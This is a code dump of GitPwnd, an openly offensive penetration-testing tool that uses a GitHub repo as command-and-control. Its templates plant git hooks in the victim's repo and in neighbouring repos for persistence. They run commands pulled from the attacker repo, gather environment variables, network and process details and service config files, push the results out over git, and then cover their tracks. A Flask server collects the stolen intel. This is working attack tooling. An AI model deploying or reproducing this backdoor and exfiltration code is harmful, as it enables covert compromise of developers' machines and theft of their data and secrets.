Repository: nccgroup/gitpwnd Branch: master Commit: a47b9ba291c3 Files: 29 Total size: 82.0 KB Directory structure: gitextract_p06zdemw/ ├── .gitignore ├── README.md ├── config.yml.example ├── gitpwnd/ │ ├── agent.py.template │ ├── bootstrap.py.template │ └── payload.py.template ├── requirements.txt ├── server/ │ ├── README.md │ ├── gitpwnd/ │ │ ├── __init__.py │ │ ├── controllers.py │ │ ├── static/ │ │ │ ├── css/ │ │ │ │ └── prism.css │ │ │ └── js/ │ │ │ └── prism.js │ │ ├── templates/ │ │ │ ├── index.html │ │ │ ├── layout.html │ │ │ ├── macros.html │ │ │ ├── nodes.html │ │ │ └── setup.html │ │ └── util/ │ │ ├── __init__.py │ │ ├── crypto_helper.py │ │ ├── file_helper.py │ │ ├── git_helper.py │ │ └── intel_helper.py │ ├── requirements.txt │ ├── run_ipython.sh │ ├── server.py │ ├── server_creds.yml.template │ └── tests/ │ ├── sample_intel.json │ └── test_intel_helper.py └── setup.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ *.pyc .DS_Store *~ # These are auto-generated from a template bootstrap.py homebrew.python.ncc.plist server_creds.yml data/ config.yml ================================================ FILE: README.md ================================================ # GitPwnd GitPwnd is a tool to aid in network penetration tests. GitPwnd allows an attacker to send commands to compromised machines and receive the results back using a git repo as the command and control transport layer. By using git as the communication mechanism, the compromised machines don't need to communicate directly with your attack server that is likely at a host or IP that's untrusted by the compromised machine. Currently GitPwnd assumes that the command and control git repo is hosted on GitHub, but this is just an implementation detail for the current iteration. The same technique is equally applicable to any service that can host a git repo, whether it is BitBucket, Gitlab, etc. ## Setup and Installation The GitPwnd setup script (`setup.py`) and server (`server/`) were written and tested using Python3, but Python 2.7 will likely work as well. The bootstrapping process to set up persistence on compromised machines was tested on Python 2.7. ### Set up GitPwnd ``` # Install Python dependencies $ pip3 install -r requirements.txt --user # Set up config $ cp config.yml.example config.yml # Configure config.yml with your custom info # Run the setup script $ python3 setup.py config.yml ``` ### Run the GitPwnd Server ~~~ $ cd server/ $ pip3 install -r requirements.txt --user $ python3 server.py ~~~ ## Contributing Contributions welcome! Please feel free to file an issue or PR and we'll get back to you as soon as possible. ## Version Info ### v0.1 * Initial PoC feature-complete for BlackHat USA 2017. ## TODO * [ ] Write a much more descriptive README ================================================ FILE: config.yml.example ================================================ # This file, if passed as the first argument to `setup.py`, will be used for # the values for setting up gitpwnd. # Enter the git clone URL of a popular library in the language used by the # machine you're targeting. # e.g. If you're attacking a Ruby on Rails shop, choose a popular gem. benign_repo: "TODO" # The personal access token for the primary GitHub account, the one who will own # the private repo used for command and control # # This token needs the following permissions: # - The top-level checkbox for "repo" # - "gist" # - "delete_repo" # - "admin:repo_hook" main_github_token: "TODO" # The name to use for the private GitHub repo used for command and control. # Unless you have a specific reason not to, it's probably best to use the # same name as `benign_repo`. github_c2_repo_name: "TODO" # The personal access token for the secondary GitHub account. setup.py will generate # an SSH key and add it to this account which will then be given to compromised nodes. # Because of this, ensure that this account has minimal access to sensitive repos. # # NOTE: # - This token needs to have the following permissions: # - "admin:public_key" permission so that setup.py can add public keys. # - "repo" so that it can access the main repo that has been shared # - This does not need to be a paid GitHub account. It will be added as a collaborator # to the private GitHub account that owns the private command and control repo. secondary_github_token: "" # The name of the SSH key generated for the secondary GitHub account ssh_key_name: "gitpwnd" # URL to gitpwnd attacker server, must be reachable by GitHub # e.g. https:// or https:// # NOTE: The server runs by default on port 5000, so include the # port the server is running on in the below URL unless you're running # on 80 or 443. attacker_server: "TODO" ================================================ FILE: gitpwnd/agent.py.template ================================================ #!/usr/bin/env python import os from subprocess import Popen, PIPE import imp import uuid import string ##################################################################### # These settings need to be customized before the agent is deployed # ##################################################################### # URL of our backdoored repo REPO_CLONE_URL = "$repo_clone_url" # Name to give the remote backdoored repo REMOTE_REPO_NAME = "$remote_repo_name" # Master branch for backdoored repo REMOTE_REPO_MASTER_BRANCH = "$remote_repo_master_branch" NODE_ID = "$node_id" RESULTS_FILE = "results.json" # Runs the passed string as a shell command def run_command(command): print("Running: %s" % command) proc = Popen(command, stdout=PIPE, stderr=PIPE, shell=True, universal_newlines=True) (out, err) = proc.communicate() print(out, err) return out, err # Adds a new remote to the git repo in the current directory def add_git_remote(remote_name, git_url): cmd = "git remote add %s %s" % (remote_name, git_url) run_command(cmd) def git_checkout_branch(branch_name): cmd = "git checkout -b %s" % (branch_name) run_command(cmd) def git_pull(remote_repo_name, remote_repo_master_branch): cmd = "git pull %s %s" % (remote_repo_name, remote_repo_master_branch) run_command(cmd) def git_add(files): cmd = "git add %s" % (files) run_command(cmd) def git_commit(message): cmd = "git commit -m '%s'" % (message) run_command(cmd) def git_push(remote_name, branch_name): cmd = "git push %s %s" % (remote_name, branch_name) run_command(cmd) # TODO: finish me # Eventually this will look at who the current node is and see what commands they should run def should_run_commands(repo_dir): return True # Load payload.py and run the commands it contains def run_payload(repo_dir): # the backdoored repo isn't on our path so load it's source directly so we can use it payload_module = imp.load_source('payload', os.path.join(repo_dir, 'payload.py')) payload = payload_module.Payload(NODE_ID) payload.run() payload.save_results() return payload def get_commit_info(): # TODO: eventually grab prior commit messages and use those or do some other # steps to make it look legit. For now just return mostly hardcoded values. return NODE_ID, "Make errors reported more clear" # Current state of the repo: # - Our backdoored repo has been added as a remote, named `remote_repo_name` # - We have an additional local branch we've saved command output into # # We want to get rid of all these things so that we're left with only the benign # remote and default master they'd see on GitHub/whatever. def hide_git_tracks(remote_repo_name, commit_branch): run_command("git checkout -b tmp") run_command("git branch -d %s" % commit_branch) # delete the new branch we created run_command("git branch -D master") # delete master in case commits from our backdoored repo have mingled run_command("git remote remove %s" % remote_repo_name) # remove backdoored remote run_command("git pull origin master") # get benign repo latest run_command("git checkout master") run_command("git branch -D tmp") # NOTE: this assumes we're in .git/hooks, or at least appends "../../" to __file__ def get_current_repo_root(): cur_file = os.path.dirname(os.path.realpath(__file__)) return os.path.abspath(os.path.join(cur_file, "..", "..")) def rewrite_script_add_node_id(path_to_this_script, node_id): print("[*] Rewriting node_id") with open(path_to_this_script, 'r') as f: templatized_this_file = string.Template(f.read()) replaced_contents = templatized_this_file.safe_substitute({"node_id": node_id}) with open(path_to_this_script, 'w') as f: f.write(replaced_contents) f.flush() def main(repo_dir, private_git_url, remote_repo_name, remote_repo_master_branch): path_to_this_script = os.path.abspath(__file__) # cd to REPO_DIR os.chdir(repo_dir) # Add the remote that will have commands for us add_git_remote(remote_repo_name, private_git_url) # checkout master of this new remote git_checkout_branch(remote_repo_name + "/" + remote_repo_master_branch) # If you wish to set tracking information for this branch you can do so with: # git branch --set-upstream-to=/ master # git pull git_pull(remote_repo_name, remote_repo_master_branch) # determine if you should run the commands if should_run_commands(repo_dir): commit_branch, commit_message = get_commit_info() # Generate node ID if we haven't already if commit_branch == "$node" + "_id": # have to break it up else this comparison will also get rewritten node_id = str(uuid.uuid4()) rewrite_script_add_node_id(path_to_this_script, node_id) commit_branch = node_id git_checkout_branch(commit_branch) # grab further changes server-side from the last time we pushed git_pull(remote_repo_name, commit_branch) # run the commands and save the results to file payload_obj = run_payload(repo_dir) # commit the results # the branch we'll commit this node's info to to push to the server git_add(RESULTS_FILE) # Git doesn't let you commit if you don't set user.name and user.email need_to_reset_git_info = False if git_commit_info_is_unset(): need_to_reset_git_info = True set_git_commit_info("Gitpwnd", "gitpwnd@nccgroup.trust") git_commit(commit_message) # push results git_push(remote_repo_name, commit_branch) # Clean up locally if need_to_reset_git_info: remove_git_commit_info() hide_git_tracks(remote_repo_name, commit_branch) else: print("[*] Skipping these commands, they're not for this node") run_command("git branch -D %s" % (remote_repo_name + "/" + remote_repo_master_branch)) # Is git's user.name or user.email unset? def git_commit_info_is_unset(): return_codes = [] for field in ["name", "email"]: out = subprocess.Popen("git config --get user.%s" % (field), stdout=subprocess.PIPE, shell=True) _ = out.communicate()[0] return_codes.append(out.returncode) # If either one didn't return a value, say that git info is unset if return_codes.count(0) != 2: return True return False # Unsets the git user.name and user.email def remove_git_commit_info(): run_command("git config --unset user.name") run_command("git config --unset user.email") # Sets git's user.name and user.email to provided values def set_git_commit_info(username, email): run_command("git config user.name %s" % username) run_command("git config user.email %s" % email) # This agent file has been placed in a hook file in the command and control # repo and is called by git hooks in other repos. if __name__ == "__main__": repo_dir = get_current_repo_root() main(repo_dir, REPO_CLONE_URL, REMOTE_REPO_NAME, REMOTE_REPO_MASTER_BRANCH) ================================================ FILE: gitpwnd/bootstrap.py.template ================================================ # This will be hosted in a private GitHub gist and piped into eval() # on a compromised node. # # It performs the following tasks: # 1. Finds where on the OS python libraries are stored. # 2. Clones the command and control repo there. # 3. Installs a git hook into the backdoored repo so that whenever a git command is ran, # new commands are pulled and their results pushed to the server. # - The primary code that does this is placed in a git hook in the command # and control repo. # # This repo includes a GitHub personal access token for the secondary account # so that it can receive commands and push results from the GitHub C2 repo. # This is the first thing ran on the victim computer after the backdoored # repo has been cloned. This file will be at the root of the repo import plistlib # builtin on OS X on Python 2.7 import glob import sys import shutil import os import subprocess import time import string import site PUBLIC_GIT_URL = "$benign_repo" REPO_DIR_NAME = "$github_c2_repo_name" # The git clone URL for the command and control repo. Note that the secondary # user's personal access token is included in the URL so that this new machine # can clone and push to it. REPO_CLONE_URL = "$repo_clone_url" HOOK_TYPES = ["pre-push", "post-merge", "pre-commit"] DEFAULT_AGENT_HOOK = "post-merge.sample" def install_agent(c2_repo_base_dir, agent_code, hook_type): # http://githooks.com/ # post-merge hook is called whenever `git pull` is ran. # https://github.com/git/git/blob/master/Documentation/githooks.txt#L178 agent_file = os.path.join(c2_repo_base_dir, ".git", "hooks", hook_type) with open(agent_file, "w") as f: f.write(agent_code) return agent_file # Undo any local changes that make us differ from master # Local changes can make mucking with branches difficult, see bootstrap_osx() for more details def undo_local_changes(): try: subprocess.check_output("git checkout -- *", shell=True) except subprocess.CalledProcessError: # check_output throws an exception if it returns non-zero status code print("[!] Undoing local changes failed") return False return True # When this bootstrap script is ran, origin points to our backdoored repo. # This method makes origin point to the official benign repo, covering our tracks. def make_remote_benign(c2_repo_dir, benign_git_url): orig_dir = os.path.abspath(os.curdir) try: os.chdir(c2_repo_dir) subprocess.check_output("git remote remove origin", shell=True) subprocess.check_output("git remote add origin " + benign_git_url, shell=True) # OK, now we need to cover our tracks - we've added the backdoor code in # additional commits past the benign repo's master. If we just tried to use # their master directly it wouldn't delete our additional commits. So instead we: # - Change to a temporary branch so we can delete master # - Grab their master branch and set it to ours # - Delete the temporary branch # git checkout -b tmp subprocess.check_output("git checkout -b tmp", shell=True) # git branch -d master subprocess.check_output("git branch -d master", shell=True) # git pull origin master subprocess.check_output("git pull origin master", shell=True) # git checkout master subprocess.check_output("git checkout master", shell=True) # git branch -d tmp subprocess.check_output("git branch -D tmp", shell=True) except subprocess.CalledProcessError: # check_output throws an exception if it returns non-zero status code print("[!] Changing the `origin` remote failed") return False finally: os.chdir(orig_dir) def find_base_repo_dir(): return site.USER_SITE # default package location for pip install --user # ~/Library/Python//lib/python/site-packages/ on OS X # ~/.local/lib/python/site-packages on Ubuntu def find_final_repo_location(): install_dir = find_base_repo_dir() if not os.path.exists(install_dir): os.makedirs(install_dir) # the directory we're going to clone the command and control repo to final_repo_location = os.path.join(install_dir, REPO_DIR_NAME) if os.path.exists(final_repo_location): if is_our_c2_repo(final_repo_location, DEFAULT_AGENT_HOOK): return False, final_repo_location # don't need to do anything, already installed else: final_repo_location += "-dev" if os.path.exists(final_repo_location) and is_our_c2_repo(final_repo_location, DEFAULT_AGENT_HOOK): return False, final_repo_location return True, final_repo_location # Checks if `dir_path` is the root of our command and control repo def is_our_c2_repo(dir_path, hook_type): agent_string = "hide_git_tracks" # arbitrary string that's unlikely to appear in not our hook agent_file = os.path.join(dir_path, ".git", "hooks", hook_type) if not os.path.isfile(agent_file): return False file_contents = open(agent_file, 'r').read() if agent_string in file_contents: return True return False # Returns the contents of what should be placed in the agent file def get_agent_code(c2_base_dir): # assume the agent file is agent.py in the root of the c2 repo agent_file_path = os.path.join(c2_base_dir, "agent.py") return open(agent_file_path, "r").read() # Run the agent in the command and control repo, which is responsible for # pulling new commands, running them, commiting the results, and pushing them # back to be received by the attacker server def run_agent(agent_path): subprocess.check_output(agent_path, shell=True) # Returns the contents that are going to be written to git hooks in the targeted # and other git repos on the victim machine def get_hook_contents(agent_file_path): return """#!/bin/bash %s & """ % agent_file_path def install_git_hook(git_repo_root_dir, hook_contents, hook_type): hook_file = os.path.join(git_repo_root_dir, ".git", "hooks", hook_type) with open(hook_file, "w") as f: f.write(hook_contents) subprocess.check_output("chmod u+x %s" % hook_file, shell=True) # Returns the absolute path to this base of this repo def find_root_of_git_repo(path): cur_dir = path while True: cur_dir = os.path.abspath(cur_dir) if cur_dir == "/": return None if os.path.isdir(os.path.join(cur_dir, ".git")): return cur_dir else: cur_dir = os.path.join(cur_dir, "..") def is_git_directory(path): exit_code = subprocess.call(["git", "status"], cwd=path, stdout=open(os.devnull, 'w'), stderr=subprocess.STDOUT) return (exit_code == 0) def find_git_repos(base_dir): git_repos = [] for directory in next(os.walk(base_dir))[1]: full_path = os.path.abspath(directory) if is_git_directory(full_path): git_repos.append(full_path) return git_repos # Wrapper for bootstrapping that does different things based on platform def bootstrap(): need_to_clone_repo, install_dir = find_final_repo_location() if not need_to_clone_repo: print("[!] Backdoor repo already installed in: %s" % install_dir) else: if not os.path.exists(install_dir): os.makedirs(install_dir) print(install_dir) subprocess.check_output("git clone %s %s" % (REPO_CLONE_URL, install_dir), shell=True) # Install agent code in cloned command and control repo agent_file_path = install_agent(install_dir, get_agent_code(install_dir), "post-merge.sample") print("[*] Installing agent to: %s" % agent_file_path) # chmod the agent so it's executable subprocess.check_output("chmod u+x %s" % agent_file_path, shell=True) run_agent(agent_file_path) hook_types = HOOK_TYPES cur_dir_root = find_root_of_git_repo(".") if cur_dir_root == "/": print("[!] Didn't find a git repo in this or parent directories until /") else: print("[*] Installing git hooks to: %s" % cur_dir_root) for hook in hook_types: install_git_hook(cur_dir_root, get_hook_contents(agent_file_path), hook) other_git_repos = find_git_repos(os.path.join(cur_dir_root, "..")) other_git_repos = [x for x in other_git_repos if x != cur_dir_root] # don't install where we already have for repo in other_git_repos: for hook in hook_types: install_git_hook(repo, get_hook_contents(agent_file_path), hook) # # Remove the backdoored git repo, set the public benign one to origin make_remote_benign(install_dir, PUBLIC_GIT_URL) if __name__ == "__main__": bootstrap() ================================================ FILE: gitpwnd/payload.py.template ================================================ import sys import os import json from subprocess import Popen, PIPE import uuid import datetime import pwd class Payload: ############################# ## Core required functions ## ############################# def __init__(self, node_id): self.results = {} self.node_id = node_id # This is the main() method that's called by compromised machines # Gather info/run commands and store the results in self.results def run(self): self.results["username"] = self.get_username() self.results["whoami"] = self.get_whoami() self.results["mac_address"] = self.get_mac_address() self.results["env"] = self.get_env() self.results["ifconfig"] = self.get_ifconfig() self.results["ps_services"] = self.get_services() self.results["node_id"] = self.get_node_id() self.results["python_version"] = self.get_python_version() self.results["service_configs"] = self.get_service_configs() self.results["time_ran"] = self.get_time_ran() # This is called after run() as the final step in the payload, saving the results # to a file. # - agent.py handles committing and pushing the results. def save_results(self, filename = "results.json"): with open(filename, 'w') as f: json.dump(self.results, f) ############# ## Helpers ## ############# # Runs the passed string as a shell command def run_command(self, command): print("[*] running: %s" % command) try: proc = Popen(command, stdout=PIPE, stderr=PIPE, shell=True, universal_newlines=True) (out, err) = proc.communicate() return {"stdout": out, "stderr": err} except: return {"stdout": "", "stderr": "Command threw an exception"} ################################################################# # Below are various helper functions to gather environment info # ################################################################# def get_python_version(self): print("[*] get_python_version") x = sys.version_info return {"major": x.major, "minor": x.minor, "micro": x.micro, "releaselevel": x.releaselevel} def get_env(self): return dict(os.environ) # dumping this to JSON fails unless you explicitly cast it to a dict def get_username(self): try: # apparently os.getlogin() is known to fail. Good job. # https://stackoverflow.com/questions/3100750/running-command-in-background # return os.getlogin() return pwd.getpwuid(os.geteuid()).pw_name except: return "os.getlogin() failed" def get_whoami(self): return self.run_command("whoami")["stdout"].strip() def get_ifconfig(self): return self.run_command("ifconfig") ############################################################################# #Payloads for Linux Priv Esc tasks # #Credit : https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/# ############################################################################# # Get running services def get_services(self): return self.run_command("ps aux") #Misconfigured Services and vuln plugins def get_service_configs(self): return { "syslog": self.run_command("cat /etc/syslog.conf"), "chttp": self.run_command("cat /etc/chttp.conf"), "lighthttpd": self.run_command("cat /etc/lighttpd.conf"), "cupsd": self.run_command("cat /etc/cups/cupsd.conf"), "inetd": self.run_command("cat /etc/inetd.conf"), "my": self.run_command("cat /etc/my.conf"), "httpd": self.run_command("cat /etc/httpd/conf/httpd.conf"), "httpd_opt": self.run_command("cat /opt/lampp/etc/httpd.conf") } # http://stackoverflow.com/questions/159137/getting-mac-address def get_mac_address(self): mac_addr = uuid.getnode() if mac_addr == uuid.getnode(): # apparently sometimes it'll lie, see the stack overflow link return ':'.join(("%012X" % mac_addr)[i:i+2] for i in range(0, 12, 2)) else: "maybewrong " + ':'.join(("%012X" % mac_addr)[i:i+2] for i in range(0, 12, 2)) def get_time_ran(self): return str(datetime.datetime.now()) def get_node_id(self): return self.node_id ================================================ FILE: requirements.txt ================================================ PyGithub pyyaml ipdb ================================================ FILE: server/README.md ================================================ # GitPwnd Server The GitPwnd server listens for webhook pushes from GitHub (currently) or other git providers that occur when a `git push` has occurred to the command and control git repo set up by `../setup.py`. It then automatically extracts the output of the commands run by the compromised machine and stores them locally. The web interface then allows you to view the extracted information. ## Getting Set Up ~~~ $ pip install -r requirements.txt --user # or use virtualenv, etc ~~~ ## Running ~~~ $ python3 server.py ~~~ ## Routes Quick notes on important routes: * POST `/api/repo_push` - hook you set up in GitLab/GitHub/etc for the backdoored repo that sends a push whenever the repo is pushed to. * [GitHub docs](https://developer.github.com/webhooks/) * [Gitlab docs](https://gitlab.com/gitlab-org/gitlab-ce/blob/master/doc/user/project/integrations/webhooks.md) - will integrate in the future. ================================================ FILE: server/gitpwnd/__init__.py ================================================ from flask import Flask from gitpwnd.util.file_helper import FileHelper from flask_basicauth import BasicAuth import yaml import os import ipdb app = Flask(__name__) # Parse basic auth creds from file with open("server_creds.yml", 'r') as f: server_config = yaml.load(f) app.config['BASIC_AUTH_USERNAME'] = server_config["basic_auth_username"] app.config['BASIC_AUTH_PASSWORD'] = server_config["basic_auth_password"] app.config['HOOK_SECRET'] = server_config["hook_secret"] # TODO: fix the naming confusion. This is the path to a local version of the repo # we're using for command and control app.config["BACKDOORED_REPOS_PATH"] = os.path.dirname(server_config["benign_repo_path"]) app.config["APP_ROOT"] = os.path.dirname(os.path.abspath(__file__)) app.config["INTEL_ROOT"] = os.path.join(app.config["BACKDOORED_REPOS_PATH"], "..", "intel") app.config["INTEL_ROOT"] = os.path.abspath(app.config["INTEL_ROOT"]) basic_auth = BasicAuth(app) # Ensure some directories we'll be storing important things in are created FileHelper.ensure_directory(app.config["BACKDOORED_REPOS_PATH"]) FileHelper.ensure_directory(app.config["INTEL_ROOT"]) from gitpwnd import controllers ================================================ FILE: server/gitpwnd/controllers.py ================================================ from flask import Flask from flask import render_template from flask import redirect from flask import url_for from flask import request, session, send_file, send_from_directory from flask import make_response # for setting cookies import flask import ipdb import json from functools import wraps from gitpwnd import app, basic_auth from gitpwnd.util.git_helper import GitHelper from gitpwnd.util.file_helper import FileHelper from gitpwnd.util.intel_helper import IntelHelper from gitpwnd.util.crypto_helper import CryptoHelper # Basic auth adapted from the following didn't quite do what I wanted # http://flask.pocoo.org/snippets/8/ # Instead used: # https://flask-basicauth.readthedocs.io/en/latest/ ########## # Routes # ########## @app.route("/") @basic_auth.required def index(): return render_template("index.html") @app.route("/setup") @basic_auth.required def setup(): return render_template("setup.html") @app.route("/nodes") @basic_auth.required def nodes(): intel_results = IntelHelper.parse_all_intel_files(app.config["INTEL_ROOT"]) if len(intel_results) == 0: return render_template("nodes.html", intel=intel_results) else: intel_results = IntelHelper.json_prettyprint_intel(intel_results) return render_template("nodes.html", intel=intel_results) ############## # API Routes # ############## @app.route("/api/repo/receive_branch", methods=["POST"]) def receive_branch(): payload = request.get_json() secret = request.headers["X-Hub-Signature"] if not CryptoHelper.verify_signature(payload, secret): abort(500, {"message": "Signatures didn't match!"}) repo_name = payload["repository"]["name"] branch = payload["ref"].split("/")[-1] GitHelper.import_intel_from_branch(repo_name, branch, app.config["BACKDOORED_REPOS_PATH"], app.config["INTEL_ROOT"]) return "OK" ================================================ FILE: server/gitpwnd/static/css/prism.css ================================================ /* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */ /** * prism.js default theme for JavaScript, CSS and HTML * Based on dabblet (http://dabblet.com) * @author Lea Verou */ code[class*="language-"], pre[class*="language-"] { color: black; background: none; text-shadow: 0 1px white; font-family: Consolas, Monaco, 'Andale Mono', 'Ubuntu Mono', monospace; text-align: left; white-space: pre; word-spacing: normal; word-break: normal; word-wrap: normal; line-height: 1.5; -moz-tab-size: 4; -o-tab-size: 4; tab-size: 4; -webkit-hyphens: none; -moz-hyphens: none; -ms-hyphens: none; hyphens: none; } pre[class*="language-"]::-moz-selection, pre[class*="language-"] ::-moz-selection, code[class*="language-"]::-moz-selection, code[class*="language-"] ::-moz-selection { text-shadow: none; background: #b3d4fc; } pre[class*="language-"]::selection, pre[class*="language-"] ::selection, code[class*="language-"]::selection, code[class*="language-"] ::selection { text-shadow: none; background: #b3d4fc; } @media print { code[class*="language-"], pre[class*="language-"] { text-shadow: none; } } /* Code blocks */ pre[class*="language-"] { padding: 1em; margin: .5em 0; overflow: auto; } :not(pre) > code[class*="language-"], pre[class*="language-"] { background: #f5f2f0; } /* Inline code */ :not(pre) > code[class*="language-"] { padding: .1em; border-radius: .3em; white-space: normal; } .token.comment, .token.prolog, .token.doctype, .token.cdata { color: slategray; } .token.punctuation { color: #999; } .namespace { opacity: .7; } .token.property, .token.tag, .token.boolean, .token.number, .token.constant, .token.symbol, .token.deleted { color: #905; } .token.selector, .token.attr-name, .token.string, .token.char, .token.builtin, .token.inserted { color: #690; } .token.operator, .token.entity, .token.url, .language-css .token.string, .style .token.string { color: #a67f59; background: hsla(0, 0%, 100%, .5); } .token.atrule, .token.attr-value, .token.keyword { color: #07a; } .token.function { color: #DD4A68; } .token.regex, .token.important, .token.variable { color: #e90; } .token.important, .token.bold { font-weight: bold; } .token.italic { font-style: italic; } .token.entity { cursor: help; } ================================================ FILE: server/gitpwnd/static/js/prism.js ================================================ /* http://prismjs.com/download.html?themes=prism&languages=markup+css+clike+javascript+json */ var _self="undefined"!=typeof window?window:"undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?self:{},Prism=function(){var e=/\blang(?:uage)?-(\w+)\b/i,t=0,n=_self.Prism={manual:_self.Prism&&_self.Prism.manual,util:{encode:function(e){return e instanceof a?new a(e.type,n.util.encode(e.content),e.alias):"Array"===n.util.type(e)?e.map(n.util.encode):e.replace(/&/g,"&").replace(/e.length)break e;if(!(v instanceof a)){u.lastIndex=0;var b=u.exec(v),k=1;if(!b&&h&&m!=r.length-1){if(u.lastIndex=y,b=u.exec(e),!b)break;for(var w=b.index+(c?b[1].length:0),_=b.index+b[0].length,P=m,A=y,j=r.length;j>P&&_>A;++P)A+=r[P].length,w>=A&&(++m,y=A);if(r[m]instanceof a||r[P-1].greedy)continue;k=P-m,v=e.slice(y,A),b.index-=y}if(b){c&&(f=b[1].length);var w=b.index+f,b=b[0].slice(f),_=w+b.length,x=v.slice(0,w),O=v.slice(_),S=[m,k];x&&S.push(x);var N=new a(i,g?n.tokenize(b,g):b,d,b,h);S.push(N),O&&S.push(O),Array.prototype.splice.apply(r,S)}}}}}return r},hooks:{all:{},add:function(e,t){var a=n.hooks.all;a[e]=a[e]||[],a[e].push(t)},run:function(e,t){var a=n.hooks.all[e];if(a&&a.length)for(var r,l=0;r=a[l++];)r(t)}}},a=n.Token=function(e,t,n,a,r){this.type=e,this.content=t,this.alias=n,this.length=0|(a||"").length,this.greedy=!!r};if(a.stringify=function(e,t,r){if("string"==typeof e)return e;if("Array"===n.util.type(e))return e.map(function(n){return a.stringify(n,t,e)}).join("");var l={type:e.type,content:a.stringify(e.content,t,r),tag:"span",classes:["token",e.type],attributes:{},language:t,parent:r};if("comment"==l.type&&(l.attributes.spellcheck="true"),e.alias){var i="Array"===n.util.type(e.alias)?e.alias:[e.alias];Array.prototype.push.apply(l.classes,i)}n.hooks.run("wrap",l);var o=Object.keys(l.attributes).map(function(e){return e+'="'+(l.attributes[e]||"").replace(/"/g,""")+'"'}).join(" ");return"<"+l.tag+' class="'+l.classes.join(" ")+'"'+(o?" "+o:"")+">"+l.content+""},!_self.document)return _self.addEventListener?(_self.addEventListener("message",function(e){var t=JSON.parse(e.data),a=t.language,r=t.code,l=t.immediateClose;_self.postMessage(n.highlight(r,n.languages[a],a)),l&&_self.close()},!1),_self.Prism):_self.Prism;var r=document.currentScript||[].slice.call(document.getElementsByTagName("script")).pop();return r&&(n.filename=r.src,!document.addEventListener||n.manual||r.hasAttribute("data-manual")||("loading"!==document.readyState?window.requestAnimationFrame?window.requestAnimationFrame(n.highlightAll):window.setTimeout(n.highlightAll,16):document.addEventListener("DOMContentLoaded",n.highlightAll))),_self.Prism}();"undefined"!=typeof module&&module.exports&&(module.exports=Prism),"undefined"!=typeof global&&(global.Prism=Prism); Prism.languages.markup={comment://,prolog:/<\?[\w\W]+?\?>/,doctype://i,cdata://i,tag:{pattern:/<\/?(?!\d)[^\s>\/=$<]+(?:\s+[^\s>\/=]+(?:=(?:("|')(?:\\\1|\\?(?!\1)[\w\W])*\1|[^\s'">=]+))?)*\s*\/?>/i,inside:{tag:{pattern:/^<\/?[^\s>\/]+/i,inside:{punctuation:/^<\/?/,namespace:/^[^\s>\/:]+:/}},"attr-value":{pattern:/=(?:('|")[\w\W]*?(\1)|[^\s>]+)/i,inside:{punctuation:/[=>"']/}},punctuation:/\/?>/,"attr-name":{pattern:/[^\s>\/]+/,inside:{namespace:/^[^\s>\/:]+:/}}}},entity:/&#?[\da-z]{1,8};/i},Prism.hooks.add("wrap",function(a){"entity"===a.type&&(a.attributes.title=a.content.replace(/&/,"&"))}),Prism.languages.xml=Prism.languages.markup,Prism.languages.html=Prism.languages.markup,Prism.languages.mathml=Prism.languages.markup,Prism.languages.svg=Prism.languages.markup; Prism.languages.css={comment:/\/\*[\w\W]*?\*\//,atrule:{pattern:/@[\w-]+?.*?(;|(?=\s*\{))/i,inside:{rule:/@[\w-]+/}},url:/url\((?:(["'])(\\(?:\r\n|[\w\W])|(?!\1)[^\\\r\n])*\1|.*?)\)/i,selector:/[^\{\}\s][^\{\};]*?(?=\s*\{)/,string:{pattern:/("|')(\\(?:\r\n|[\w\W])|(?!\1)[^\\\r\n])*\1/,greedy:!0},property:/(\b|\B)[\w-]+(?=\s*:)/i,important:/\B!important\b/i,"function":/[-a-z0-9]+(?=\()/i,punctuation:/[(){};:]/},Prism.languages.css.atrule.inside.rest=Prism.util.clone(Prism.languages.css),Prism.languages.markup&&(Prism.languages.insertBefore("markup","tag",{style:{pattern:/()[\w\W]*?(?=<\/style>)/i,lookbehind:!0,inside:Prism.languages.css,alias:"language-css"}}),Prism.languages.insertBefore("inside","attr-value",{"style-attr":{pattern:/\s*style=("|').*?\1/i,inside:{"attr-name":{pattern:/^\s*style/i,inside:Prism.languages.markup.tag.inside},punctuation:/^\s*=\s*['"]|['"]\s*$/,"attr-value":{pattern:/.+/i,inside:Prism.languages.css}},alias:"language-css"}},Prism.languages.markup.tag)); Prism.languages.clike={comment:[{pattern:/(^|[^\\])\/\*[\w\W]*?\*\//,lookbehind:!0},{pattern:/(^|[^\\:])\/\/.*/,lookbehind:!0}],string:{pattern:/(["'])(\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/,greedy:!0},"class-name":{pattern:/((?:\b(?:class|interface|extends|implements|trait|instanceof|new)\s+)|(?:catch\s+\())[a-z0-9_\.\\]+/i,lookbehind:!0,inside:{punctuation:/(\.|\\)/}},keyword:/\b(if|else|while|do|for|return|in|instanceof|function|new|try|throw|catch|finally|null|break|continue)\b/,"boolean":/\b(true|false)\b/,"function":/[a-z0-9_]+(?=\()/i,number:/\b-?(?:0x[\da-f]+|\d*\.?\d+(?:e[+-]?\d+)?)\b/i,operator:/--?|\+\+?|!=?=?|<=?|>=?|==?=?|&&?|\|\|?|\?|\*|\/|~|\^|%/,punctuation:/[{}[\];(),.:]/}; 